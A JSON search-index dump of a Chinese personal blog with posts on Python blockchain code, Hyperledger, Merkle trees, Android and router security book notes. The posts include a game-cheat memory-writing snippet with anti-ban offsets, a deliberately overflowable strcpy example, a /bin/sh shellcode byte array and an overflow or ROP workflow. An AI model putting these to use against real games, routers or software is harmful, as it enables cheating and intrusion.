block[\u0026#39;proof\u0026#39;], last_block[\u0026#39;previous_hash\u0026#39;]): return False last_block = block current_index += 1 return True 所以我们可以看到，区块链之所以安全，其内核基本就是靠这里所描述的功能保护的，虽然这里的代码是十分简易，不过大体上也是描述出了灵魂所在。可以使用hssh链，进行整个链的合法性校验，所以，使得链上的数据修改基本成为不可能！！！\n小结 这里的源码实现的P2P网络是比较简单，这里只是实现了节点的添加，并没有实现节点路由和拓展，及路由表的查询。所以后面打算自己可以实现一个\n后记 这篇可能比较水，因为源码本身实在太过简化，后面考虑自己添加部分功能，可以及时PR÷\n","date":"2018-03-10T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/03/2018-03-10-py%E5%8C%BA%E5%9D%97%E9%93%BE%E6%BA%90%E7%A0%81%E7%AC%94%E8%AE%B0-2p2p%E7%BD%91%E7%BB%9C/","tags":null,"title":"Py区块链源码笔记 （2）P2P网络"},{"categories":null,"contents":"怎么学习区块链知识呢? 各种的资料看的头大，还是晕晕乎乎。所以那不如自己实现一个吧？？\n说是自己实现，实际上想先对源码进行解读。这里给出的源码，是一个基于Python实现的一个功能较为健全的区块链。下面给出项目地址\n项目地址\n挖矿（mine） 什么是挖矿 当然进入币圈或者链圈的人当然对挖矿这个词不会陌生。区块链的核心问题就是解决了拜占庭将军问题，实现了全网的可信。在比特币网络里面，每十分钟产生的数据成为一个block。这个块被所有的矿工一起进行计算。其中有一个nonce的值。一旦有一个矿工挖到了这个特定值。那么就挖到了这个block。可以得到coinbase的奖励。\n拜占庭将军问题\n源码的实现 Web端 这里是使用了python的Flask模块作为一个web的服务端。\napp = Flask(__name__)# 这里的@说明是函数修饰符，后面有说明@app.route(\u0026#39;/mine\u0026#39;, methods=[\u0026#39;GET\u0026#39;])def mine(): ... return jsonify(response), 200app.run(host=\u0026#39;0.0.0.0\u0026#39;, port=5000) 这里就可以实现后端的对前端的GET请求的响应，执行挖矿操作后，返回Json的信息。\nPython的函数修饰符 这里的 @app.route('/mine', methods=['GET'])是一个对函数的修饰符，和solidity里面的modifier差不多。其意在执行完了修饰符的函数之后，才会继续执行下面修释的函数\ndef test(f): print \u0026#34;before ...\u0026#34; f() # 这里指代的就是所修饰函数 print \u0026#34;after ...\u0026#34; @test def func(): print \u0026#34;func was called\u0026#34; # 直接运行，输出结果：before ... func was called after ... # 所以这里可以看出上述代码等价于test(func) # func 是个pointer Miner 这里是miner的代码，这里实现了一个简单的挖矿过程，虽然和实际的挖矿过程还是有些差距，不过也正是简单易读，所以我们好理解。\nminer的请求处理 @app.route(\u0026#39;/mine\u0026#39;, methods=[\u0026#39;GET\u0026#39;])def mine(): # 这里使用PoWPoW共识机制。 # 这里的返回了一个ARRAY的tail其定义是 chain = [] last_block = blockchain.last_block # 这里使用PoW，代码后面展开 proof = blockchain.proof_of_work(last_block) ​\n​ # We must receive a reward for finding the proof.\n​ # The sender is “0” to signify that this node has mined a new coin.\n​ # 翻译过来，这个就是区块奖励，也就是CoinBase,\n​ # 作为一个区块的第一笔交易，所以发送者是零地址。\n​\nblockchain.new_transaction(\nsender=”0”,\nrecipient=node_identifier,\namount=1,\n)\n# 把这个 区块加到链尾，实现了到主链的融合previous_hash = blockchain.hash(last_block)block = blockchain.new_block(proof, previous_hash)# 这里把新的区块数据反馈到前端response = { \u0026#39;message\u0026#39;: \u0026#34;New Block Forged\u0026#34;, \u0026#39;index\u0026#39;: block[\u0026#39;index\u0026#39;], \u0026#39;transactions\u0026#39;: block[\u0026#39;transactions\u0026#39;], \u0026#39;proof\u0026#39;: block[\u0026#39;proof\u0026#39;], \u0026#39;previous_hash\u0026#39;: block[\u0026#39;previous_hash\u0026#39;],}return jsonify(response), 200 PoW的实现代码 def proof_of_work(self, last_block): \u0026#34;\u0026#34;\u0026#34; 一段简单的工作量证明的算法: \u0026#34;\u0026#34;\u0026#34; last_proof = last_block[\u0026#39;proof\u0026#39;] last_hash = self.hash(last_block) proof = 0 while self.valid_proof(last_proof, proof, last_hash) is False: proof += 1 return proof ​\n上述代码的实际上的工作原理： 先使得 proof的值为零，之后慢慢的递增。直到找到\n找到一个数字P，使得Hash(P,P')的哈希值是前面包含了4个0的，这里的`P’是上一个区块的P值\n实际上我们的挖矿的过程和这个差不多，这个P在实际上是一个nonce(number once)的值。这里一样的进行了大量的简化\nvalid_proof\n# point ： 这里是py的特性F-strings，分别计算花括号的值，并且进行拼接guess = f\u0026#39;{last_proof}{proof}{last_hash}\u0026#39;.encode() guess_hash = hashlib.sha256(guess).hexdigest()print(guess_hash)return guess_hash[:4] == \u0026#34;0000\u0026#34; 这里就是对我们的Proof的值的合法性判断，\n先把上一个的proof，本次的proof，和上一个区块的hash进行一个拼接(F-string)之后进行编码。 对其进行sha256的hash。得到hash值。 之后判断该hash的值是否是以四个0结尾 返回是否找到合法的proof值，如果找到，返回True 返回上层函数PoW的过程结束 这里是部分的打印结果：挖出第一个块的打印（第0块，是创世区块，设置的proof是100）\nf49bd479bb433aa37bcb01b36cc6e4f3f8881ae4cdfeecfc3fc84a2a69a29951d71f73e0d52ad34fbc8848d85890a0951773fafc6c7214fe94794cc9c2dca904312cc1a85835727e29b7d85ae0a781a35ab57376ae56e29f8e6a70e1f76eb1390000b1964e2a279761ab62cf0d52272f540867aee83bb22ffc6eb2e9bf63f3b1100 16623 ac018635f614a44ab203ef49fcb7887b36de048fd5d5a286a06c9b32666bd618 我们可以看见，最后一行，我们的last_proof是100，这次我们尝试了 16623 次，得到了proof，使得他们的hash是以四个0开头的\n0000b1964e2a279761ab62cf0d52272f540867aee83bb22ffc6eb2e9bf63f3b1\n同样的下面是第二块\n42d9c8f25d3b438157c2e4cd06fff288600eb78ef9536aeec60dea13c46fb41d00006b342191c828ecfeeb21ad3cfe3320ded31d4a0bc64fcf5c103c5a8806cb16623 187207 58f183fc794d087ccce036e25ca039099af9738d7cdf5c23564def4254eb1281 小结 可见这里的代码很简单的实现了一个PoW的模型，proof可以类比于我们寻找的 nonce 的这个值，实际上，关于BTC的难度系数的动态调整，就是和这得到的hash的零的个数，和后面数值的有效的大小的要求而确定的。\n这里我们在BTC的区块链浏览器可以直接看到我们的区块数据。\nBTC里面的随便一个区块\n高度 512,589\n确认数 2\n大小 1,096,630 Bytes\nNonce 0x185d9c75\n时间 2018-03-08 22:05:10\n块哈希 000000000000000000474697c175dadd12b11f9736c10e2a632aa52d7a555a0f\n前一个块 00000000000000000000021c043e439b5f4b632389b0062306bf2d4e0b657c7c\n后一个块 000000000000000000434de347737700f50cacde89f956e08ed4a39dddd23bf0 可以看到，其实，差不多2333.\n后面的话 打算潜心学习，不能浮躁，慢慢的学习这些底层的原理和实现，后面应该会有关于交易（加密签名），组网（P2P）网络的内容\n","date":"2018-03-08T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/03/2018-03-08-py%E5%8C%BA%E5%9D%97%E9%93%BE%E6%BA%90%E7%A0%81%E7%AC%94%E8%AE%B0-1%E6%8C%96%E7%9F%BF/","tags":null,"title":"Py区块链源码笔记 （1）挖矿"},{"categories":null,"contents":"前 慢慢的发现区块链在各种企业的研究都进行的如火如荼，像是BAT，一类纷纷的推出了自己的区块链的小应用，莱茨狗啊，xx猫啊。虽然都是对之前以太坊应用的加密猫的抄袭不过也是反映出各个企业对区块链技术方面的尝试和探索。这是个很好的现象，资本力量的介入会大大的提高这个技术的生命力。\n加密猫项目地址\n不过有趣的现象是，虽然有许许多多的企业已经加入了这场浪潮，可是维护不见没见哪个企业出个什么XX币用来割韭菜？？\n实际上现在99%的ICO项目都是韭菜项目（都是ETH网络上几块钱的合约而已），真正的潜力项目炒作可不是第一位。他们实现的是真正基于区块链技术的应用。\n这样就要遇上我们的Hyperledger了\nWhat’s Hyperledger 超级账本（hyperledger）是Linux基金会于2015年发起的推进区块链数字技术和交易验证的开源项目，加入成员包括：荷兰银行（ABN AMRO）、埃森哲（Accenture）等十几个不同利益体，目标是让成员共同合作，共建开放平台，满足来自多个不同行业各种用户案例，并简化业务流程。由于点对点网络的特性，分布式账本技术是完全共享、透明和去中心化的，故非常适合于在金融行业的应用，以及其他的例如制造、银行、保险、物联网等无数个其他行业。通过创建分布式账本的公开标准，实现虚拟和数字形式的价值交换，例如资产合约、能源交易、结婚证书、能够安全和高效低成本的进行追踪和交易。\n以上是HyperLedger的简介。所以我们可以看出Hyperledger实际上不是一种区块链产品（像是BTC，ETH，etc.）\nWhy HyperLedger 现在已经有许许多多基于区块链技术的产品（项目），那么蛋蛋使用HL的又是又在哪里？\n和BTC或者Ethereum的区别 比特币：一个记录“比特币交易”的分布式账本 超级账本Fabric：一个记录“链上代码+Docker容器状态”的分布式账本 以太坊：一个记录“以太币余额+链上代码+EMV虚拟机状态”的分布式账本 上面的三种技术都是基于区块链实现的。由于BTC只是使用这个技术实现了一个UTXO的交易模型。所以这里对比ETH和HL\n以太坊是公链，大家一起挖矿进行网络的维护。而hyperledger 可以说是一种开发框架，使用这个框架就可以实现一个属于自己的私链（不是人人可加入的）。所以大企业们纷纷的使用HL。因为公链信息是公开的，谁都可以查得到。所以HL的私有性质使得被选择。\n","date":"2018-03-06T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/03/2018-03-06-hyperleager-%E5%85%A5%E5%9D%91%E6%89%8B%E5%86%8C/","tags":null,"title":"HyperLeager 入坑手册"},{"categories":null,"contents":"前 现在是2018年的第十周了。突然换了个环境，发现自己久久不能适应。各种拖延症，各种不想动，也是不知为何。可能是到了致郁期。还是闭上眼睛早早的过去吧。\n外挂基本原理 最近各种颓废的吃鸡。慢慢的又是那种被模式制约的感觉。所以也是想当当神仙。所以网上找了一波辅助。\nGitHub\n其实一直有自己写辅助的想法，可是好久好久，也只是个想法。这次不知哪位dalao在Hub上放出了源码。\n对源码大体看了看，区区500行，实在说不上复杂。答题分一下几个部分\n取得进程RVA 进行偏移，对属性地址写内存 进入消息循环 响应快捷键，写内存 具体的结构还是很简单的。\nDWORD maincode = GetModuleBaseAddress (pid, \u0026#34;hyxd.exe\u0026#34;);//天空变黑防封;DWORD FLY_BAN = maincode + 0x64F573;DWORD FLY_BAN_TMP = maincode + 0x64F2F9;WriteNumProcessMemory (pid, FLY_BAN_TMP, 24);WriteByteProcessMemory (pid, FLY_BAN, tobyte (to16 (0xF30F590D, FLY_BAN_TMP, addre), bits)); 这里就是找基址的部分，和直接对特定偏移的内存写。\ndelete 和 delete []区别 delete 是C++里面用于回收new的内存的关键字。一直用的是delete，这个delete[],还是在都这个代码里面第一次遇到。\n根据自己开的资料里讲，如果单单new一个简单类型，那么实际效果是相同的\nint *a = new int[10];delete a; //方式1delete [] a; //方式2 这里的a的空间大小是固定的，所以我们可以使用者两种方式来清理内存\n不过如果遇到了特使情况。我们这里是复杂类型（complex）\nclass A { ... ~A(){cout \u0026lt;\u0026lt; \u0026#34;asd\u0026#34;}};A *a = new A[10];delete a; a = new A[10];delete pbabe[]; 这里两种表达方式就出现了差异。a 是直接删除了这个对象数组的头地址。的确也是释放了A[10]的空间，不过只会执行一次析构函数。而delete[] 会依次执行十次析构\n","date":"2018-03-06T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/03/2018-03-06-%E4%B8%80%E5%91%A8%E5%B9%B2%E8%B4%A7%E9%9B%86-3/","tags":null,"title":"一周干货集 (3)"},{"categories":null,"contents":"前 我想未来对安全方面的需求会越来越大，随着这个体系的越发庞大，其潜在的安全威胁，可能愈发的丰富。\n简介 书名：揭秘家用路由器0Day挖掘技术 作者：吴少华 ISBN：9787121263927 硬件安全，将会随着物联网的兴起得到苏醒，而且变得更加的多元化\n本书分为 三个部分\n基础知识 原理与应用 分析与利用 同样这里对内容，所学做极简要总结。\n基础知识 路由器漏洞分类：\n密码破解漏洞 WPA/WPS/WEP WEB漏洞 SQL注入/远程命令执行/跨站脚本 特定后面 调试端口/admin 溢出漏洞 这个算是系统级别的 路由的web安全和服务器web安全类似。\n常见的路由器其处理器结构基本是都是 MIPS 运行精简 LINUX ， 主要的基本 shell 功能由 BusyBox 实现\nbusybox ls -lbusybox cd... 路由器中的ls等基本命令由busyBox的链接实现。\nGNU 工具集 GCC 常用功能，不做展开。 GDB 作为主要调试器 命令常用需要掌握\nGDB十分钟教程\n值得注意的是，在使用GDB调试之前，elf文件需要包含调试信息\ngcc -ggdb main.c MIPS汇编及体系 （感觉除了X86汇编，其他的都十分奇怪。。。）\n一个32个寄存器，特殊的是 $0 寄存器，的值总是零，提供需要用到0的地方。29 = sp，30 = fm，31 = ra （返回）\nMIPS是大端序(BIG_endian)，和网络字节序相同\n高在高位是小端，高在低位是大端\n{num[n],num[n+1],num[n+2],num[n+3]} #MSB (Most Significant Byte){num[n+3],num[n+2],num[n+1],num[n]} #LSB (Least Significant Byte) “大端”和“小端”可以追溯到1726年的Jonathan Swift的《格列佛游记》，其中一篇讲到有两个国家因为吃鸡蛋究竟是先打破较大的一端还是先打破较小的一端而争执不休，甚至爆发了战争。\nHTTP协议 路由器的很多漏洞是存在于 Web服务器没有正确的仅需攻击者所发送的HTTP请求。\nHTTP请求行\n[Method] [Request-URI] [HTTP-Version] [CRLF] eg: GET /from.html HTTP/1.1 (CRLF) (CRLF是Carriage-Return Line-Feed的缩写，意思是回车换行，就是回车(CR, ASCII 13, \\r) 换行(LF, ASCII 10, \\n))\n这里规定，必须是以 CRLF 结尾，不允许出现单独 CR(回车)/LF(换行),“\\r\\n”,“\\x0D\\x0A”。\n（之前一个Qt用socket实现的http请求，不能得到正确GET的Respond 的原因）\nMethod 有很多种 GET/POST/HEAD/PUT/DELETE/TRACE/CONNECT/OPTIONS.\nPOST克服了GET方法的一些缺点。因为通过Post进行表单数据的提交的时候，数据本身不是URL请求的一部分，而是作为标准数据传送给服务器，这点克服了GET进行数据传递的时候信息无法加密和提交数据量太小的缺点。\nHTTP报头\nAccept: 表示希望接收的资源类型 Accept-Encoding: 表示内容编码 Cookies: 表示客户端向服务器进行Cookies认证的信息 Accept-Encoding: 指定一种自然语言 Host:主机及其端口号，默认80，通常从URL中得到 User-Agent： 用户代理，实际上包含着用户的部分信息，系统，浏览器内核等等 请求头示例：\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Cache-Control: max-age=0Connection: keep-aliveCookie: BAIDUID=5E1B56CB86750A3F365EDFC9FA1DA1A9:FG=1; BIDUPSID=E3A36946B81579878C6378864B750C4A; PSTM=1512745351; Hm_lvt_55b574651fcae74b0a9f1cf9c8d7c93a=1524673678,1524718817,1524727227,1524729701; Hm_lpvt_55b574651fcae74b0a9f1cf9c8d7c93a=1524729701; H_PS_PSSID=1420_21106; BDRCVFR[gltLrB7qNCt]=mk3SLVN4HKm; PSINO=7; pgv_pvi=3976877056; pgv_si=s5736833024DNT: 1Host: baike.baidu.com 软件工具 主要是虚拟机，IDA，BinWalk，QEMU。这些工具。\n前两种不多做介绍了，虚拟机，和静态反编译工具。\nBinWalk，主要用于对于固件包的自动化解包和分析，可以对目标架构，和目录结构，内核版本等等的信息进行自动分析。\nBinWalk的使用\nQEMU 和 Bochs 类似是一个处理器模拟软件，在环境中，我们配合MIPS的交叉编译工具，可以实现一个本机模拟的MIPS的机器平台，方便我们进行各种测试。\n路由0day基本挖掘方法 对路由0day挖掘的初步方法大致以下\n固件分析 使用BinWalk对固件进行解包，提取其中的关键文件进行分析。\n动态运行库的劫持\n对于一些关键的so(Sharded Object) 的里面的函数进行重写，即保留同样的函数符号，使用我们自己的函数内容实现一个新的so文件，并且替换源文件。\n#include \u0026lt;stdio.h\u0026gt;#include \u0026lt;stdlib.h\u0026gt;int apmib_init(void){ //Fake it return 1;}$ mips-linux-gcc -fPIC -shared apmib.c -o apmib-ld.so 实际上的过程，涉及到对so文件的静态分析，通过IDA对器进行逆向分析，在保留器原有函数的基础上，对部分的符号代码进行修改。\n路由器安全 web部分 该书的这部分很简略，篇幅在几页，主要讲了有 XSS 和 CSRF。\nXSS(Cross Site Scipting)，防止和 CSS(Cascading Style Sheets) 起名为 XSS。具体就是恶意的JS脚本插入，分为反射型和存储型。前者是主动触发，我们可以找到XSS点，构造反射链接，发送给受害者，存储型，常见的就是留言板。233\nCSRF(Cross-Site Request Forgery) 是一种对网页的恶意利用。和XSS有着十分大的差别。其实际上不是通过插入的JS实现功能，实际上是对网页原文进行劫持之后进行的修改，最终实现了自己的代码会在目标主机执行。\n路由器后门\n这种漏洞出现于官方的预留的端口，或者其他的超级密码。 路由器溢出漏洞 溢出漏洞是一个相当高危而且普遍的漏洞。\n栈溢出\n在计算机科学中，栈是一种先进后出得(FILO)队列的数据结构。调用栈(Call Stack)是值存放在一个正在运行的函数的信息栈。调用栈本身又是由栈帧(Stack Frame)构成，每个栈帧对应一个未完成函数。\n函数的调用过程(栈帧)\n在MIPS架构中，参数传递使用 $a1~$a4 着四个寄存器，（$a0是零值寄存器），所以我们的参数超过5个之后就会使用到了栈，进而进行第五个参数的传递。\nMIPS中的溢出可行性:X86的架构不同， x86的调用过程，是发生函数调用时，把当前的函数地址压入栈中，在函数返回时直接进行弹栈，从而返回原函数的地址空间，但是在MIPS的架构下，函数调用时不会把原函数地址压栈 而是直接存入寄存器 $ra(返回地址寄存器)。下面时书中的溢出可行性分析：\n在MIPS的架构中，有着 叶子函数和非叶子函数 （这里竟然是查无此词，应该是作者自己的词）。\n个人理解讲:叶子函数这个词的叶子可以取于树结构，叶子说明函数体内没有调用其它的函数，也就是没有后继节点。非叶反之.\n非叶子函数的情况:由于**$ra**寄存器只存在一个,所以实际上,如果是非叶子函数了,子函数体内部再次发生 Call 这样的话,会发生,把上一个函数的地址压栈,把调用函数的地址存入 $ra\n所以和经典的溢出思路相同,还是覆盖掉压入栈中的返回地址.\n叶子函数情况:作为叶子函数,其没有后继的函数Call 所以,返回地址是保存在 $ra 中的,所以我们无法通过经典的思路进行覆盖(这个是寄存器了),不过也是存在利用可能,我们使用足够大的数据,覆盖掉上层函数的返回地址.(上层调用了我,上层一定时非叶子对吧)\n缓冲区溢出\n在缓冲区分配,和使用过程中的问题,比如对所缓冲数据没有做检测,导致其对栈内数据发生了覆盖\n一般实现功能:拒绝服务,获得用户级权限,获得系统级权限(提权).\n#include \u0026lt;stdio.h\u0026gt; #define PASSWORD \u0026#34;1234567\u0026#34; int verify_password (char *password) { int authenticated; char buffer[8]; // add local buffto be overflowed authenticated=strcmp(password,PASSWORD); strcpy(buffer,password); // over flowed here! return authenticated; } main() { int valid_flag=0; char password[1024]; while(1) { printf(\u0026#34;please input password: \u0026#34;); scanf(\u0026#34;%s\u0026#34;, password); valid_flag=verify_password(password); if(valid_flag) { printf(\u0026#34;incorrect password!\\n\\n\u0026#34;); } else { printf(\u0026#34;Congratulation! You have passed the verification!\\n\u0026#34;); break; } } } 这里贴上一段简单代码,注释已经标明了溢出点,在;进行Cpy的时候,没有进行长度检测.\n我们知道,局部变量是依次在栈中分配空间的,所以我们分配的8个字节的数组紧邻的就是 int . 这里我们可以实现的是\n图片来自\n通过对 buffer的溢出,从而覆盖 那个int的值 覆盖返回地址(这一点就是无限的空间了)SHELLCODE ShellCode 可以使用覆盖返回地址之后.我们就可以让当前函数返回到我们希望的地方了.\n这个地方,就可以是我们构造的ShelCode.\nchar shellcode[] =\u0026#34;\\x55\\x8b\\xec\\x51\\x51\\x83\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\\x89\u0026#34;\u0026#34;\\xf3\\x8d\\x4e\\x08\\x31\\xd2\\xcd\\x80\\xe8\\xe4\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\u0026#34;\u0026#34;\\x2f\\x73\\x68\\x58\u0026#34;; //...VOID Sub_2(){ ((void(WINAPI*)(void))\u0026amp;ShellCode)();} 这里具体来又是一本书了…\n文件系统提取 固件的提取思路主要是找到一个文件的签名头,这样才可以识别出到底是什么文件,比如我们常用的file\nstrings|grep 全文检索文件系统的 magic 签名头 hexdump|grep 检索 magic 签名偏移 dd|file 确定migic签名偏移处的文件系统格式 eg: cramfs 的magic的签名是 0x28cd3d45,squashfs 有 sqsh,hsqs…\nstring firmware.bin | grep `python -c \u0026#39;print \u0026#34;\\x28\\xcd\\x3d\\x45\u0026#34;\u0026#39;`string firmware.bin | grep `python -c \u0026#39;print \u0026#34;\\x45\\x3d\\xcd\\x28\u0026#34;\u0026#39;` 这里对整个文件的字符串进行检索找到有没有符合 cramfs 的签名,这里之所以会寻找两次,是为了保证,大端和小端的两种情况.找到特征签名之后,我们就开始定位文件偏移\nhexdump -C firmware.bin | grep -n \u0026#39;hsqs\u0026#39; 这里找到特征字符串的偏移.之后我们可以使用 DD 对文件进行提取\ndd if=firmware.bin bs=1 count=100 skip=1441936 of=squash.bin 这里就是使用dd对文件进行偏移的提取了.\n自动提取大法 BinWalk\n漏洞探索 后面的部分针对漏洞的实际应用做了总结,慢慢的学习其中的过程。\n实际上漏洞挖掘于应用流程如下\n劫持PC，确定缓冲区大小，并且定位确定控制偏移 编写代码通过QEMU虚拟机进行验证，并调试 确定攻击路径，并且构造ROP 利用攻击数据，编写 exploit代码，对路由进行测试 如果知道了漏洞，其分析手法是可以直接通过 Strings 找到相关字符串的 应用位置，之后根据CallStack ，找到潜在的危险函数。\n之后用脚本，构造测试用例。比如 'A'*600 ，使其输入到对应的可能函数。在可疑部分下断，之后进行调试。\n输入我们的用例，观测我们的栈中的 saved_ra （即非叶子函数的返回地址的压栈）是否被覆盖，从而可以得知此处是否有溢出漏洞，如果有那么 saved_ra 的值应该被覆盖为 0x41414141（即A的ascii）。由此我们可以确定缓冲区溢出存在。\n之后就是确认我们的溢出的定位，使得我们可以精确的覆盖返回地址。这种方法叫做 ROP (Return-oriented programming)\n一般的POC中使用的溢出Payload，使用的是 System/Exec 这个函数，使得我们可以得到一个系统权限的Cli的返回\n硬件部分 FLASH的读取 这个直接拆下来进行数据的完全读取。\n串口探测 通过电压的测量 ，和对PCB的目测。\nJTAG探测 （jointed test action group）\n漏洞发掘思路 代码审计：静态审计，模糊测试\n静态测试：通过IDA进行反编译，发现潜在的危险函数。\n获取用户的数据函数\nargv read(),fscanf(),getc(), stdin read(),recv(),recvfrom() 数据操作函数\nstrcpy() strncpy() system(),execve() sprintf(),snprintf() 后 实际上,关于硬件安全的分析,在这本书从软件和硬件层面都去展现了一个漏洞发掘的过程,很难- 得,也是巩固了不少相关的知识.\n","date":"2018-03-02T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/03/2018-03-02-%E8%AF%BB%E6%9C%AC%E5%A5%BD%E4%B9%A6%E6%99%BA%E8%83%BD%E7%A1%AC%E4%BB%B6%E5%AE%89%E5%85%A8/","tags":null,"title":"读本好书《智能硬件安全》"},{"categories":null,"contents":" 许多区块链或是散列链都是基于一种叫做默克尔树的结构。与相对概念比较新的区块链技术相比，默克尔树最早诞生于1979年，由Ralph Merkle发明。\nHash hash（散列算法），使我们生活中极为常用。其定义就是对任意长度的数据输入经过该算法后得到一个定长的输出。这样的一个映射具有唯一性，和单向性。\n唯一性 是指， 输入和输出是唯一对应的，不存在输入到输出的多个映射\n单向性 是指， 由输入很容易计算出输出，但是输出很难得到输入。（实际上使用大量计算数学（碰撞）上是可能找到，所以说是很难）。\n–\nMD5 (“hellowolrd”) = 78932c6b96a60237f48407558e91cb23\nMD5 (“helloworlD”) = 9f7599f32fcd536ccfb8c668f735a588\nMD5 (“hellowor1d”) = 9063e763e70bea4fc4052ed7ac933428\n这里可见，输入数据的小变化进行Hash之后的输出是天壤之别了已经，这个也是哈希技术的一个核心点叫做输入敏感性。所以散列技术也是用作数据指纹（FingerPoint）。\n常用的散列算法有 MD5，sha1，sha256等。\nHash Table 哈希表，现在就说BT下载了。（下的人越多，越快）要是究其原因就很简单，因为是P2P从大家哪里获取资源呀。\n可是现在问题来了，我们从这么多的匿名用户地方获取我们的资源，我们怎么能保证这些提供资源的节点不作恶呢？万一我的100G的小姐姐，被突然换成了新闻联播怎么办？？？！！！\n这里很自然就要用到上面的数据指纹技术了！我们先把这个小姐姐的MD5（指纹）接受过来，然后我们对下载的东西进行校验。一眼就看出了，这不是新闻联播，这样就不用傻傻的下上一天了。\n- 其实上面我们设想的情景看似可以，可是我们忽略了一个问题，我在完成整个文件的下载前如果计算它的hash呢？？？ 实际上BT下载是把整个文件分散的存储到各个节点上，具体的结构看图。\n对每个小块先做一边hash校验，确保每个块的内容是正确的，日狗hash对不上就舍弃这个错误块，当整个文件下载完成之后，再进行一边整体的hash，用于确保我们整个文件的完整性。\nDHT 如果在使用迅雷下载小电影的时候，有点开下载详情， 那么对DHT这个词汇一定不会太陌生。\nDHT的全称是Distributed Hash Table, 直译过来的是分布式哈希表。哈希表（hash table）是一种很常见的数据结构。我们常用的数据结构Map就是哈希表的一直实现。实际上就是建立了一个键到散列的映射（Key-Value）键值对。\nMerkle Tree Merkle Tree可以看做Hash List的泛化（Hash List可以看作一种特殊的Merkle Tree，即树高为2的多叉Merkle Tree）。\n不同于Hashlist，默克尔树是二叉结构，所有的根节点两两进行hash，得到其父节点，父节点再次进行两两hash，最终会得到一个根节点（Merkle Root）。\n默克尔树在使用时，从根节点出发，同步下一个高度（D1）的数据（D2的hash），得到（D1）的两个hash值之后，自己进行hash校验。如果正确继续进行下一级的Hash的获取（这次将会有4个Hash），得到之后再次进行校验。正确则继续获取下一层的Hash，这样递归下去，直到得到存放在根节点的数据。\n拓扑图如下，整体结构是一个倒挂的二叉树。\nMerkle Tree的特点\nMT是一种树，大多数是二叉树，也可以多叉树，无论是几叉树，它都具有树结构的所有特点； Merkle Tree的叶子节点的value是数据集合的单元数据或者单元数据HASH。 非叶子节点的value是根据它下面所有的叶子节点值，然后按照Hash算法计算而得出的。 ","date":"2018-02-27T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/02/2018-02-27-%E4%BB%80%E4%B9%88%E6%98%AF%E9%BB%98%E5%85%8B%E5%B0%94%E6%A0%91/","tags":null,"title":"什么是默克尔树"},{"categories":null,"contents":"前 长路漫漫, 看看一群财富自由的人韬略江山, 心中还是有很多想法.现在知识和信息的膨胀速度,哪里容得娱乐的放肆\n安卓踩坑 网络 你必须学会的okhttp——入门篇\n这里使用 android里面比较好用的一个第三方包\nOKHTTP\n直接修改Gradle (build.gradle) 脚本进行安装\ntestImplementation \u0026#39;com.squareup.okhttp3:mockwebserver:3.9.1\u0026#39; 网络权限 API 22 以上不允许 主线程进行网络操作,怕卡.\n否则会报异常.\n新建一个项目，在AndroidManiifest中添加\n\u0026lt;uses-permission android:name=\u0026#34;android.permission.INTERNET\u0026#34;/\u0026gt; 通过Http协议下载图片\nAndroid Handle的使用\n线程 子线程不能操作UI, 所以使用消息(message)使主线程处理\n消息使用Handle 处理, 初始化需要loop\nGson Gson 简直是解放灵魂. 配合插件 GsonFormater\n报异常可能\nAndroid简单使用GSON\n实用配置\nMAP 字典 使用匿名函数进行初始化\nprivate HashMap\u0026lt;String, String\u0026gt; urlMap = new HashMap\u0026lt;String, String\u0026gt;() { { // token put(\u0026#34;token\u0026#34;, \u0026#34;https://api.etherscan.io/api?module=stats\u0026amp;action=tokensupply\u0026amp;contractaddress=0x57d90b64a1a57749b0f932f1a3395792e12e7055\u0026amp;apikey=\u0026#34;); // block put(\u0026#34;block\u0026#34;, \u0026#34;https://api.etherscan.io/api?module=proxy\u0026amp;action=eth_blockNumber\u0026amp;apikey=\u0026#34;); }}; UI UI开源库\n异常 异常体系详解\nWeb3J 需要补充一个 sl4f 依赖\n测试单元 本机以java为单位 使用@Test测试函数, 可以throws ,\n@Testpublic void getVersion() throws Exception { System.out.println(web3j.getClientVersion());} 编程思想 语言类型 写Web3 应用的时候, Web3.js 是node.js下的一个很棒的库, 本以为Java下没有Web3 的库,打算自己写RPC实现. 最后在别人的指点下发现了WebJ 这个安卓下的 Web3 库. 可是感觉其编程思想太过于贴近Js了,编程范式（paradigm）这里做个简单的总结\nPOP (Process-oriented programming) 面向过程\nOOP (Object Oriented Programming) 面向对象\nFP (Functional Programming) 函数式编程\nIP (Immutable Programming) 命令式编程\nPOP “面向过程”(Procedure Oriented)是一种以过程为中心的编程思想。这些都是以什么正在发生为主要目标进行编程，不同于面向对象的是谁在受影响。与面向对象明显的不同就是封装、继承、类。\n这个是最先产生的一直编程思想吧, 面向过程编程, 就是围绕着功能的实现进行代码的编写.这种方式更像是实现一个图灵机. 你把输入给进参数,执行过程,之后得到输出\n吃(猪八戒, 西瓜);// 老梗了, 但是这里很好的体现了POP的编程思想,输入数据得到结果 OOP 面向对象的产生就是在面向过程之后了, 可能Coder认识到了, 世间万物皆为对象.所以使用OOP的方式在代码里创建对象(物品), 对象有它的参数, 功能.这样新的思想遍产生了,而不是图灵机~\n没有对象? New一个\nGirl girl = new Girl(YourProfie); OOP产生的对象, 可以很好的践行 高内聚低耦合 这一伟大思想(笑),\n因为互相访问都只是通过Class之间暴露的接口(public), 这样如果我要优化代码,可以只改变某个类的内部代码, 而保持接口一致就好. 很好的避免了面向过程中常常出现的代码规模大了之后牵一发而动全身的情景\n这里还是举个例子\n猪八戒.吃(西瓜);// 可以见到, 这种编程思想把对象作为中心, 对象执行成员方法 对了, OOP之于POP多的编程三大基本特性称之为 封装、继承、多态\n封装 把客观相似事物封装成抽象的类 继承 对派生类直接保留原属性 (白马,马). 多态 允许将子类类型的指针赋值给父类类型的指针. (重载, 覆写@Override) UML类关系\n面向对象的三个基本特征\nFP 实际上 FP\n函数式编程, 老实说,这个刚刚接触. 个人理解呢, 是吧变量和函数这两个概念给分开, 变量是变量, 函数是函数. 那么这样的话, 